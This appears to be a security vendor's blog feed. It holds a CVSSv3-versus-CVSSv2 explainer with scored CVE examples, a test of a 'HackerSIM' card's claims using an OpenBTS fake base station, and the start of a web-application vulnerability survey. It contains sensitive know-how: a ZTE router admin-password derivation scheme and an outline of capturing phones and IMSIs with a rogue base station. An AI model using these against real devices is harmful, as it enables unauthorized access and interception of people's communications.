We are constantly monitoring the development of the standard, so we have been waiting for the final version of CVSS. When I opened the specification, I wanted answers to the following questions. What was improved? What exactly was changed? Can we apply the new standard to our products? And — considering the fact that the database is often managed by new specialists — how much time do you need to master the assessment procedure? And how clear are the criteria?

This article appeared in the course of studying the standard and will, hopefully, help you to understand the new vulnerability assessment procedure.

Milestones in the history of CVSS

The Common Vulnerability Scoring System was developed by the National Infrastructure Advisory Council, which consists of experts from CERT/CC, Cisco, DHS/MITRE, eBay, IBM Internet Security Systems, Microsoft, Qualys, Symantec.

The standard was first published in 2005. The standard's basic principles for calculating the vulnerability index have remained thus far.

Then the Common Vulnerability Scoring System Special Interest Group (CVSS-SIG) supported the standard within the scope of the Forum of Incident Response and Security Teams (FIRST). The group's members are not constrained from supporting and distributing the standard.

The second version of the standard was published in 2007: with a changed indicator list and new final metric formula for a more precise severity assessment of vulnerabilities.

In 2014, such respected organizations as NIST and ITU that develop manuals and standards for telecommunications and information systems issued guidelines for CVSSv2.

Using CVSS metrics for vulnerability assessment was enshrined in PCI DSS and industry-specific standards.

In 2015, FIRST published the third and most recent version of the standard, CVSSv3, which we will explore in this article.

Basic principles

CVSS offers a set of tools to calculate a ten-point scale severity index, due to which security specialists promptly decide how to handle the vulnerability. The higher the index, the more prompt reaction is required.

The standard includes three metric groups:

Base metrics describe vulnerability characteristics that do not change over time and do not depend on the environment. These metrics describe the difficulty of vulnerability exploitation and potential damage for data confidentiality, integrity, and availability.

Temporal metrics correct the total score for confidence in the information about the vulnerability, exploit code maturity (if any), and patch availability.

Environmental metrics are used by IS experts to correct the final score with regard to information environment parameters.

Temporal and Environmental metrics are optional and are used for a more precise threat assessment for a particular infrastructure.

The value of a metric is usually published as a vector (particular values of specific parameters) and a numeric value calculated on the basis of all the parameters by a formula defined in the standard.

New features in CVSSv3

Since comprehensive documentation on CVSSv2 is available [6, 9], we are going to have a more detailed look at modifications to the standard.

Base metrics
System components, for which metrics are calculated
The standard introduces the following terms:

  • vulnerable component — an information system component that is vulnerable;
  • impacted component — a component, whose confidentiality, integrity, and availability may suffer from a successful attack.

In most cases, these two components are the same thing, but there are some vulnerability classes, for which this is not true:

  • sandbox escape;
  • gaining access to user data saved in a browser through a web application vulnerability (XSS);
  • escape from a guest virtual machine.

According to the new standard, Exploitability metrics are calculated for a vulnerable component, while impact metrics — for an impacted one. CVSSv2 had no means to describe a situation where a vulnerable component and an impacted component are different things.

Exploitability metrics

Attack Vector
The Attack Vector metric describes how far an attacker is from the vulnerable object.

CVSSv2
CVSSv3
Metric name
Access Vector (AV)
Attack Vector (AV)
Possible metric values
Network (N)
Network (N)
Adjacent Network (A)
Adjacent Network (A)
Local (L)
Local (L)

Physical (P)

Note: from now on letter mnemonics used for CVSS vector description will be given in brackets.

The previous versions of the standard used the term "Local" to describe any action not affecting the network. The new version provides the following definitions:
  • Local — an attacker needs a local session or some particular action by an authorized user,
  • Physical — and attacker needs physical access to a vulnerable subsystem.
Let's look at two vulnerabilities that have the same CVSSv2 score:


CVE-2015-2363. The win32k.sys Windows driver processes some memory objects incorrectly, which allows an attacker with local system access to gain administrative privileges and execute arbitrary code in kernel mode.

CVE-2015-3007. The Juniper network gateways (SRX series) incorrectly implement the function of disabling password recovery by an unauthorized user through the console port (set system ports console insecure). The vulnerability allows an attacker with physical access to the console port to gain administrative privileges on the device.

The metrics for the same vulnerabilities are different according to the new standard.

Vulnerability
Vector CVSSv3
CVSSv3 score
CVE-2015-2363
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.8
CVE-2015-3007
AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.8

You can see that CVSSv3 assesses vulnerability severity more precisely, without averaging, as CVSSv2 did.

Exploitation difficulty
The Access Complexity metric describes how easy or difficult it is to conduct an attack. The more conditions are to be fulfilled to exploit a vulnerability, the higher is the difficulty level.

CVSSv2
CVSSv3
Metric name
Access Complexity (AC)
Attack Complexity (AC)
Possible metric values
Low (L)
Low (L)
Medium (M)

High (H)
High (H)

"Difficulty level" is a subjective thing, therefore the metric was always interpreted differently. For instance, you can find different Access Complexity scores for the MitM vulnerability in the NVD.

CVE-2014-2993. A vulnerability in the function of SSL certificate verification for the Birebin.com Android application, which allows an attacker to conduct man-in-the-middle attacks and obtain sensitive information. [Access Complexity — Low]

CVE-2014-3908. A vulnerability in the function of SSL certificate verification for the Amazon.com Kindle Android application, which allows an attacker to conduct man-in-the-middle attacks and obtain sensitive information. [Access Complexity — Medium]

CVE-2014-5239. A vulnerability in the function of SSL certificate verification for the Microsoft Outlook.com Android application, which allows an attacker to conduct man-in-the-middle attacks and obtain sensitive information. [Access Complexity — High]

The new standard offers only two difficulty levels with clear criteria in order to make interpretation of this metric easier. All the vulnerabilities allowing MitM attacks are classified as High.

The factors taken into consideration in CVSSv2 by Access Complexity are now handled by two metrics — Attack Complexity and User Interaction.

Authentication / Privileges Required
The metric shows whether authentication is needed to conduct an attack and if so, which one.

CVSSv2
CVSSv3
Metric name
Authentication (Au)
Privileges Required (PR)
Possible metric values
Multiple (M)

Single (S)


High (H)

Low (L)
None (N)
None (N)

Metric calculation based on the number of independent authentication procedures to be undergone by an attacker does not fully show the purpose of the privileges necessary for operation.

You come across the Multiple value in the NVD quite seldom; it is mostly used for vulnerabilities, the information about which is not detailed enough.

CVE-2015-0501. An unspecified vulnerability in Oracle MySQL Server that allows remote authenticated users to affect DBMS availability via unknown vectors related to Server : Compiling’.

The Single value doesn't allow to determine whether you have to be a privileged user to exploit the vulnerability, or standard user authentication is enough.

Let's look at two vulnerabilities that have the same CVSSv2 score:

9.0 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

CVE-2014-0649. The RMI interface in Cisco Secure Access Control System (ACS) does not properly enforce authorization requirements, which allows remote authenticated users to obtain administrator privileges.

CVE-2014-9193. Innominate mGuard allows remote authenticated attackers with restricted administrative rights to obtain root privileges by changing a PPP configuration setting.

The metrics for the same vulnerabilities according to CVSSv3:

Vulnerability
CVSSv3 vector
CVSSv3 score
CVE-2014-0649
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.8
CVE-2014-9193
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.2

As you can see from the table, CVSSv3 underscores severity of the vulnerabilities that demand authorized access.

User Interaction
The metric shows whether there any user actions needed for a successful attack.

CVSSv2
CVSSv3
Metric name

User Interaction (UI)
Possible metric values

None (N)

Required (R)

CVSSv2 took this factor into account as a part of Access Complexity; the new standard has it as a separate metric.

Let's look at two vulnerabilities that have the same CVSSv2 score:

9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C).

CVE-2014-0329. The ZTE ZXV10 W300 routers have a hardcoded password — "XXXXairocon" — for the admin account, where "XXXX" is the last four characters of the device's MAC address. A remote attacker can obtain the admin password and use it to get access to the device via the TELNET service.

CVE-2015-1752. Microsoft Internet Explorer does not process memory objects properly, which allows an attacker to execute arbitrary code, when a user clicks a malware link.

Metrics for CVSSv3

Vulnerability
CVSSv3 vector
CVSSv3 score
CVE-2014-0329
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8
CVE-2015-1752
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8

This example shows that CVSSv3 assesses severity more properly.

Scope 
The Scope metric shows whether the vulnerable component and the impacted component are different things, i.e. whether exploitation of the vulnerability allows affecting confidentiality, integrity, and availability of any other system component.

CVSSv2
CVSSv3
Metric name

Scope (S)
Possible metric values

Unchanged (U)

Changed (C)
Let's look at two vulnerabilities that have the same CVSSv2 score: 


CVE-2014-0568. The NtSetInformationFile system call hook feature in Adobe Reader and Acrobat on Windows allows attackers to bypass a sandbox protection mechanism and execute arbitrary code in a privileged context.

CVE-2015-3048. Buffer overflow in Adobe Reader and Acrobat on Windows and MacOS X allows an attacker to execute arbitrary code.

The new standard assigns a higher score to the vulnerabilities, whose vulnerable and impacted components are different things.

Impact metrics
Impact metrics measure the impact on confidentiality, integrity, and availability of the impacted component.

CVSSv2
CVSSv3
Metric name
Confidentiality Impact (C), Integrity Impact (I),
Availability Impact (A)
Possible metric values
None (N)
None (N)
Partial (P)

Complete (C)


Medium (M)

High (H)

The approach to calculating impact metric values has completely changed from quantitative (Partial—Complete) to qualitative (Medium—High).

Let's look at two vulnerabilities that have the same CVSSv2 score:

5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N).

CVE-2014-0160. TLS and DTLS implementations in OpenSSL do not properly handle Heartbeat Extension packets. This vulnerability allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read.

CVE-2015-4202. Cable Modem Termination Systems (CMTS) in Cisco uBR10000 routers does not properly restrict access to the IP Detail Record (IPDR) service, which allows remote attackers to obtain sensitive information via crafted IPDR packets.

Vulnerability
CVSSv3 vector
CVSSv3 score
CVE-2014-0160
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.5
CVE-2015-4202
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.3

As you can see from the example, the qualitative approach allows assessing severity more precisely.

Temporal metrics
Temporal metrics have not been changed much.

Exploit Code Maturity
The Exploit Code Maturity metric measures whether the code or other attacks means are publicly available, or exploitation is only theoretically possible.

CVSSv2
CVSSv3
Metric name
Exploitability (E)
Exploit Code Maturity (E)
Possible metric values
Not Defined (ND/X)
High (H)
Functional (F)
Proof-of-Concept (POC/P)
Unproven (U)
Only the name of the metric has been changed for a more precise one.

Remediation Level
The Remediation Level metric shows whether there are official or unofficial remediation means.

CVSSv2
CVSSv3
Metric name
Remediation Level (RL)
Possible metric values
Not Defined (ND/X)
Unavailable (U)
Workaround (W)
Temporary Fix (TF/T)
Official Fix (OF/O)

This metric was not changed.

Report Confidence
The Report Confidence metric measures the degree of detail of the available vulnerability reports.

CVSSv2
CVSSv3
Metric name
Report Confidence (RC)
Possible metric values
Not Defined (ND)
Not Defined (X)
Unconfirmed (UC)

Uncorroborated (UR)


Unknown (U)

Reasonable (R)
Confirmed (C)
Confirmed (C)

The new standard has more precise criteria for labeling vulnerability reports:

  • Unknown — the reports indicate that the cause of the vulnerability is unknown, or reports may differ on the cause or impacts of the vulnerability;
  • Reasonable — the reports allow judging on vulnerability causes with enough confidence (for example, the report gives and example of exploit code);
  • Confirmed — the vendor has confirmed the pretense of the vulnerability or there is a publicly available functional exploit.

Temporal metrics impact 
Let's look at the following vulnerability.

CVE-2015-2373.The Remote Desktop Protocol (RDP) server service in Microsoft Windows allows remote attackers to execute arbitrary code via a series of crafted RDP packets.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:L/Au:N/C:C/I:C/A:C/E:U/RL:OF/RC:C
10.0
7.4
CVSSv3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
9.8
8.5

As you can see, the new standard has a modified formula: the overall impact of Temporal metrics on the final score has been decreased.

Environmental metrics
Environmental metrics were modified in order to simplify the assessment of environmental impact on the final score.

Security requirements
Environmental metrics allow to define which characteristic of a target component (confidentiality, integrity or availability) has the most impact on the operation of the business system or business processes.

CVSSv2
CVSSv3
Metric name
Confidentiality Requirement (CR), Integrity Requirement (IR),
Availability Requirement (AR)
Possible metric values
Not Defined (ND/X)
High (H)
Medium (M)
Low (L)

This metric was not changed.

Adjusted base metrics
Exploitability and potential damage within the context of a company's IT infrastructure.

CVSSv2
CVSSv3
Metric name

Modified Attack Vector (MAV)
Modified Attack Complexity (MAC)
Modified Privileges Required (MPR)
Modified User Interaction (MUI)
Modified Scope (MS)
Modified Confidentiality (MC)
Modified Integrity (MI)
Modified Availability (MA)
Possible metric values

Values defined in the section Base Metrics or Not Defined (X).

This metric can boost the final score if application configuration is weak, or to lower it if some compensating measures are implemented, which decrease exploitation risk or potential damage from a successful attack.

Eliminated metrics
The following metrics are excluded from the standard:

Collateral Damage Potential, CDP. A qualitative assessment of potential damage for equipment or other assets upon vulnerability exploitation. This metrics considered financial damage as a result of production downtime or revenue loss.

Target Distribution, TD. Percentage of systems in a company's information environment that can be affected by vulnerability exploitation.

Other modifications
Vulnerability Chaining
CVSS was initially designed for the assessment of each vulnerability separately. However, it is possible to cause more damage by exploiting several vulnerabilities sequentially.

The new standard recommends using CVSS metrics to describe vulnerability chains, combining exploitation characteristics of one vulnerability with impact metrics of another.

Let's go through an example.

Vulnerability 1. Local privilege escalation; no interaction with the user is required.
Vulnerability 2. Allows an unauthorized attacker to remotely modify files of a vulnerable component. For a successful attack, certain actions are required from the user, e.g. clicking a malicious link.

Vulnerability
CVSSv3 vector
CVSSv3 score
Vulnerability 1
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.4
Vulnerability 2
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
4.3

If upon the exploitation of vulnerability 2 it is possible to modify files in a way that leads to the exploitation of vulnerability 1, we have a vulnerability chain with the following characteristics.

Vulnerability
CVSSv3 vector
CVSSv3 score
Vulnerability 1 —> Vulnerability 2
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8

As we can see, the final score of a chain can be higher than the severity level of each vulnerability taken separately.

Qualitative Severity Rating Scale
Different companies have elaborated various approaches to calculating the qualitative severity rating based on CVSS metrics:
  • Nvd.nist.gov: 0—3.9 Low; 4.0—6.9 Medium; 7.0—10.0 High;
  • Tenable: 0—3.9 Low; 4.0—6.9 Medium; 7.0—9.9 High; 10.0 Critical;
  • Rapid 7: 0—3.9 Moderate; 4.0—7.9 Severe; 8.0—10.0 Critical.
The CVSSv3 standard recommends using the following qualitative rating scale:

Quantitative score
Qualitative rating
0
None
0.1—3.9
Low
4.0—6.9
Medium
7.0—8.9
High
9.0—10.0
Critical

The most significant changes
In this clause, we are going to summarize briefly the conclusions and outline the most significant modifications to CVSSv3.
  • The the following terms were introduced: a vulnerable component and an impacted component. Exploitability metrics are calculated for a vulnerable component, while impact metrics — for an impacted one.
  • Physical access is added as a step required for exploitation.
  • The User Interaction metric was introduced.
  • The Authentication metric was revised. It is possible now to consider the necessity of privileged access to a system.
  • The Impact metric shifted from quantitative to qualitative values.
  • The Environmental metrics Collateral Damage Potential and Target Distribution were replaced by more illustrative Modified factors.
  • Guidance on assessing multiple vulnerabilities is provided.
  • The Qualitative Rating Scale is brought to standard.
Due to the proposed assessment approach, infosec specialists can get a more in-depth look at factors that impact on vulnerability severity, so companies that deal with security issues will most likely implement the standard before long.

New metrics has little impact on the process of assessment. Some of them simplified the process (Attack Complexity, User Interaction). Others, such as exploitation scope, qualitative assessment of the impact on confidentiality, integrity, and availability, are a little bit more difficult.

For those who wants to master the vulnerability assessment process according to CVSS, we would recommend, apart from CVSSv3 Specification [1], to refer to CVSSv3 Examples [3] and the CVSSv3 User Guide [2] that provide typical examples of how to use the standard to assess a vulnerability.

A number of companies (IBM X-Force and Security Database among them) have already implemented the standard in their products and services. In Positive Technologies, we are in the process of laying the groundwork for using CVSSv3 in our corporate knowledge base and in MaxPatrol, one of our products.

Bonus: CVSS metrics for named vulnerabilities
Starting from the Heartbleed vulnerability in OpenSSL that got a recognizable name and a nice logo with a bleeding heart, IS experts created a new trend towards naming vulnerabilities, especially those ones related to SSL/TLS. Let's find out how dangerous these named vulnerabilities are.

The Heartbleed vulnerability in OpenSSL (CVE-2014-0160). The TLS and DTLS implementations in OpenSSL do not properly handle Heartbeat Extension packets. This vulnerability allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:L/Au:N/C:P/I:N/A:N/E:F/RL:OF/RC:C
5.0
4.1
CVSSv3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:O/RC:C
7.5
7.0

The BERserk vulnerability in Mozilla NSS (CVE-2014-1568). Mozilla Network Security Services (NSS) does not properly parse ASN.1 values in SSL certificates, which makes it easier for remote attackers to spoof RSA signatures in a certificate and gain unauthorized access to sensitive data.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:M/Au:N/C:C/I:C/A:N/E:U/RL:OF/RC:C
8.8
6.5
CVSSv3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:U/RL:O/RC:C
7.4
6.4

The POODLE vulnerability in the SSLv3 protocol (CVE-2014-3566). The SSLv3 protocol, as used in OpenSSL and other products, uses nondeterministic CBC padding, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack. The vulnerability was later found in several TLS implementations (CVE-2014-8730).

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:M/Au:N/C:P/I:N/A:N/E:U/RL:W/RC:C
4.3
3.5
CVSSv3
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N/E:U/RL:W/RC:C
3.1
2.8

The Sandworm vulnerability in Windows OLE (CVE-2014-4114). A vulnerability in Microsoft Windows OLE, which allows a remote attacker to execute arbitrary code when a user opens a file containing a crafted OLE object.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
9.3
7.7
CVSSv3
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
7.8
6.8

The Shellshock vulnerability in Bash (CVE-2014-6271, CVE-2014-7169). A vulnerability in GNU Bash caused by improper processing of strings after function definitions in the values of environment variables. The vulnerability can be exploited via various attack vectors — DHCP, HTTP, SIP, FTP, SMTP — and allows an attacker to execute arbitrary bash code.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
10.0
8.3
CVSSv3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
9.8
9.1

The FREAK vulnerability in the OpenSSL (CVE-2015-0204). The ssl3_get_key_exchange function in OpenSSL allows decreasing encryption strength of the SSL/TLS connection (RSA to RSA_EXPORT). A successful attack allows an attacker to decode these connections.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:M/Au:N/C:N/I:P/A:N/E:U/RL:OF/RC:C
4.3
3.2
CVSSv3
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N/E:U/RL:O/RC:C
3.7
3.2

The GHOST vulnerability in glibc (CVE-2015-0235). Heap-based buffer overflow in the function __nss_hostname_digits_dots в glibc that allows an intruder to execute arbitrary code by calling the function gethostbyname или gethostbyname2.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:H/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
7.6
6.3
CVSSv3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
8.1
7.5

The Venom vulnerability in visualization systems (CVE-2015-3456). A vulnerability in QEMU emulators used in various virtualization systems. It allows an attacker to escape a guest virtual machine and execute code in the host system.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:A/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C
7.7
6.0
CVSSv3
AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C
9.0
8.1

The Logjam vulnerability in the TLS protocol (CVE-2015-4000). A vulnerability in the TLS protocol allows an intruder to weaken TLS connection cipher (from DHE to DHE_EXPORT). A successful attack allows an attacker to decode these connections.

Version of the standard
CVSS vector
Base score
Final score
CVSSv2
AV:N/AC:M/Au:N/C:P/I:N/A:N/E:U/RL:OF/RC:C
4.3
3.2
CVSSv3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:U/RL:O/RC:C
3.7
3.2

↧
Search

HackerSIM: Blamestorming

November 14, 2015, 8:24 pm
$
0
0



Recently, there have been a lot of articles about a SIM card that has some incredible features. This topic sparked a lively discussion full of skepticism and mind-blowing theories. Let's lift the veil on some technical aspects of this story. Of course, we wouldn't be able to carry out the tests without the SIM card provided by @MagisterLudi.

A short resume for those who don't want to read the whole review:
  • There is no forced encryption, protection from intercept complexes, connection to a base station with the second strongest signal, IMSI and location hiding.
  • There is phone number substitution, voice substitution, and billing.
Let's take a closer look at each of these features.

Our first disappointment

There was no Anonymous mask on the SIM card as in one of the articles:


The icon was the whole point, so we decided to stop our research.


Who does it belong to?

What does the ICCID printed on the SIM card tell us?

We insert the SIM card into the phone, and the first things we see are roaming, MTS connection, and the third line that couldn't escape our attention — AY Security. It indicates the owner of the SIM card: http://www.aysecurity.co.uk/aysim.html




It's a funny thing that our smartphone displays another data (we still have no idea, what "GT" means).


The following "unique" SIM card features are described on the website:
  • the caller number substitution,
  • forced encryption
  • protection against intercept complexes
  • voice substitution
  • expenses optimization
  • real IMSI hiding
  • current location hiding
  • virtual number
The first and fourth points have been already discussed on Habrahabr, so we will cover the other ones, which are a lot more sophisticated.

Forced encryption
“This feature prevents your SIM from lowering of encryption level and ignoring the operator or intercept complexes’ commands to switch off the encryption key generation algorithm (A8) stored at a SIM’s module. As a result all your conversations are encoded according to the A5.1. algorithm.”
Initially, the transfer has no encryption, which is enabled by Ciphering Mode Command from the operator. Here's an example from a real network (using HackerSIM):



However, it is the same for all the other SIM cards, as all Russian networks usually use encryption. Let's connect to OpenBTS and try to make a phone call to check the restriction of operation without encryption:


 
Text on picture: «Outgoing calls forbidden in settings»








The first impression was that the SIM card, indeed, somehow found out that there was no encryption and blocked the call. (It's not true, though; we will touch upon that a bit later. Also, take a look at the "Calling..." message at the bottom of the screen.) However, if you try to make a few phone calls in a row (we made three), the operation will succeed.



  There is no problem with terminating phone calls.


It should be mentioned that the vendor claims the restriction applies to voice calls, but SMS messages, both terminating and originating, can be transferred in a fake network without encryption.

Protection against intercept complexes
“This function allows you to stay invisible for moving intercept complexes. As the work of such complex is based on the replacement of real base station, it (complex) becomes a priority for all phones which are under the coverage area of real base station. Devices protected by our software ignore stations signals of the highest level.”
A phone chooses a base station not by the signal level, but by the C2 parameter, which depends on the current signal level, minimum signal strength for the base station, and the base station priority. It’s a mistake to think that it can save you from a fake base station. For example, the output power of OpenBTS with an SDR is about 100mW — less than cell phone output (up to 1W), and considerably less than standard base station output. Therefore, high priority — not high power — is required for interception. The fact that a cell phone uses a less powerful base station only means it has a higher priority.

We used the Green Head application [http://green-head.ru/] to measure the power, C1 and C2.
The screenshots below show the list of neighbor and serving cells (BCCH — arfcn, SC — serving cell, N1 — neighbor cell 1, etc.).

1. HackerSIM on the most powerful and high-priority base station

 
2. HackerSIM on a less powerful base station with the highest priority
 

3. We turn on the "intercept complex" and... HackerSIM easily connects to it. Or rather, it is the cell phone that connects to it, as SIM cards do not choose cells, and HackerSIM is no exception:



4. After hijacking the phone, the fake network no longer shows the "neighbors", so the phone has no choice other than to stay in the fake network as long as an attacker wants, or until it leaves the coverage area.
 

Expenses optimization

This statement is very creative considering the cost of the SIM card and monthly payments.

Real IMSI hiding/Current location hiding/No billing/Virtual number

The vendor claims there is no billing, so it's "impossible" to track down a subscriber with HackerSIM. But if there's no billing, who sends this information?


Subscriber location is tracked via SS7 by means of the attacks we've already described [http://www.ptsecurity.com/upload/ptcom/SS7_WP_A4.ENG.0036.01.DEC.28.2014.pdf]. IMSI is enough to determine a subscriber's location. The identifier is usually obtained by the phone number. Our phone doesn't display the number of our HackerSIM, even though we followed the instruction from the vendor's website (there should be DID for making calls):


We can't check if the number is really virtual, as we don't know it. However, you can find out the IMSI through the radio air (e.g., when the phone connects to the network):





The phone sends Location Update Request, the network asks for the IMSI (Identity Request), and the phone tells its IMSI (Identity Response). After that, the session keys are created (Authentication Request and Authentication Response), and Ciphering Mode Command is sent. In other words, you can intercept the IMSI in the radio network without breaking the encryption, but that's how a cellular network is supposed to work.

There is another question mentioned in HackerSIM' articles that nobody could answer. When a phone is registered in the roaming network, a request is sent to the home network, but after that, all the calls should pass through the visited network. How do all the originating calls pass through the PBX, then? The answer is interesting but simple.

When we used Motorola C118 to originate a call, it was rejected, and nobody called back. The same happened, when we used OsmocomBB Mobile App.


By the way, the reason why SMS messages were rejected is even more peculiar:


Let's get back to why the old Motorola can't originate a call, and the calls from the smartphone get rejected with the PBX calling back. The radio air dump solves the mystery:


When you originate a call, the phone sends a USSD request with the called subscriber number instead of the Setup message. This request wanders around the world for quite a long time and gets to the Netherlands. The home network sends a USSD response with a simple text— Calling start — and after that there's a terminating call with a familiar sequence: Setup, Call Confirmed, Assigned Command.

So, the home network disables any originating data transfer of the SIM card apart from USSD requests. The application on the SIM card intercepts the call and instead sends a USSD request containing the called number. After the data is sent to the home network, the application ends the call, displays the message "Calling...", and waits for the USSD response while checking the "encryption".

If the USSD response fails, or there's no Calling start message, it blocks the call (that's what happened in the fake network). However, it seems that the SIM card can't intercept all the calls; if you overwhelm it with the attempts, the calls become direct.

We tried to make a call bypassing the PBX in a real network, but we were "beaten back", because any originating data transfer of HackerSIM is restricted.
The most attentive readers have probably noticed there is an Identity Request message before the USSD response in the previous screenshot. It is used by the network to obtain the IMSI or IMEI from the phone.


We should point out that IMEI is absolutely unnecessary for the cellular network and may be never requested. Hence, someone gathers this data for a reason. If you use HackerSIM, you do not become anonymous: they know — who, where, and when.

Now, knowing the secret of the originating calls, we can use both the old Motorola and OsmocomBB mobile App.
  

Multi IMSI/Ki
To change the IMSI/Ki pair, you need to use the SIM card menu:



Callback on/off — enables (disables) the SIM card application that replaces originating calls with USSD.

Menu— has nothing except Exit.

Reset sim profile — resets the TMSI and Kc (session key).

About—


Select Location— allows to choose the IMSI/Ki.



Global— IMSI 22201xxxxxxxxxx, belongs to TIM, an Italian operator.

Global+ — IMSI 20404xxxxxxxxxx, belongs to Vodafone Libertel, a Dutch operator.

USA— IMSI 310630xxxxxxxxx, does not belong to any operator and is used in different Global SIM cards.

Prime— IMSI 23418xxxxxxxxxx, belongs to Cloud9/wire9 Tel, a British provider.

There are two reasons why all the IMSI numbers, except for Global+, are not registered in Russia:







There are some difficulties with the Global+ mode, too.

The list of preferred networks (everything will work):

List of preferred PLMNs:
        MCC    |MNC
        -------+-------
        234    |15        (Guernsey, Vodafone)
        262    |02        (Germany, Vodafone)
        208    |10        (France, SFR)
        222    |10        (Italy, Vodafone)
        214    |01        (Spain, Vodafone)
        505    |03        (Australia, Vodafone)
        228    |01        (Switzerland, Swisscom)
        206    |01        (Belgium, Proximus)
        404    |20        (India, Vodafone IN)
        404    |11        (India, Vodafone IN)
        404    |27        (India, Vodafone IN)
        404    |05        (India, Vodafone IN)
        404    |46        (India, 46)
        272    |01        (Ireland, Vodafone)
        202    |05        (Greece, Vodafone)
        232    |01        (Austria, A1)
        655    |01        (South Africa, Vodacom)
        286    |02        (Turkey, Vodafone)
        238    |01        (Denmark, TDC)
        268    |01        (Portugal, Vodafone)
        260    |01        (Poland, Plus)
        230    |03        (Czech Republic, Vodafone)
        250    |01        (Russian Federation, MTS)
        216    |70        (Hungary, Vodafone)
        226    |01        (Romania, Vodafone)
        244    |05        (Finland, Elisa)
        602    |02        (Egypt, Vodafone)
        219    |10        (Croatia, VIPnet)
        620    |02        (Ghana, Ghana Telecom Mobile / Vodafone)
        255    |01        (Ukraine, MTS)

There are no restricted networks, but Beeline or Tele2 will deny your registration, if you try. MegaFon works fine, MTS is preferred (in the SIM card).

That's what happens if you try to connect to Beeline:



Therefore, this SIM card may work in every country in the world, but not in every network.

Resume

The procedure used to originate calls may cause some trouble when searching for the calling subscriber, but only if the PBX is located abroad and not used by intelligence agencies, and service providers don't know or don't want to know anything about these special SIM cards. It's not so hard to track the users of these modules: you will just have to look for slightly different data.

The SIM card itself doesn’t have any incredible or hacker features.
↧

Web-application vulnerabilities: no light at the end of the tunnel

November 21, 2015, 11:43 pm
$
0
0

There has been significant growth in web applications, from official sites and ERP systems, to e-commerce and e-banking platforms, and portals providing government services. These applications have increasingly become a target for hackers attempting to target enterprise information systems. Positive Technology conducted a study in 2014 to assess the state of web application security. The key findings are discussed below.


Cases and Methodology

During the 2014 calendar year, our specialists reviewed around 300 web applications. From this pool, the experts chose 40 systems for in-depth study using the most thorough testing methods. These 40 systems belong to companies from different industries – e-commerce (30%), banking (22%), manufacturing sector (17%), IT (15%), and telecoms (13%). The study also includes one government-owned institution.

The study contains data on external web applications available on the Internet. The vulnerability assessment was conducted via black-, grey- and white-box testing with the aid of automated tools. Detected vulnerabilities were categorized according to the WASC TCv2 system, and the severity of vulnerabilities was estimated in accordance with CVSSv2. The findings only include vulnerabilities caused by code errors and configuration flaws.

Most of the web applications examined were written in PHP (58%) and ASP.NET (25%). The most common server used in 2014 was Nginx (37%), followed by Apache (26%), and ISS (24%). The majority of the web applications, 85%, are production systems, but there were some test platforms still in development or acceptance when tested.

Summary

All 40 of the web applications studied suffered from some type of security flaw. The total number of vulnerabilities found across the 40 systems is 1,194. 68% of the systems are plagued by high severity level vulnerabilities, 6% more than in 2013. In addition, in 2013, there were 15.6 vulnerabilities per application on average; in 2014, this number almost doubled to 29.9. Most of these vulnerabilities are caused by code errors (89%) and the rest are due to malformed configuration (11%).


Percentage of websites by vulnerability severity level

In 2014, the most common and least dangerous vulnerability was Fingerprinting, present in 73% of the systems, followed by the Cross-site Scripting flaw, most common in 2013. If either of these flaws are exploited, an attacker could gain access to someone’s personal details.

More than a half of the web sites have vulnerabilities pertaining to Credential/Session Prediction exploits and the incidents of critical SQL Injection flaw also increased as they are found in 48% of the web-applications. These exploits allow for unauthorized access to sensitive information stored in application databases and could also lead to an attacker gaining full control of a target server.

Vulnerabilities by Language

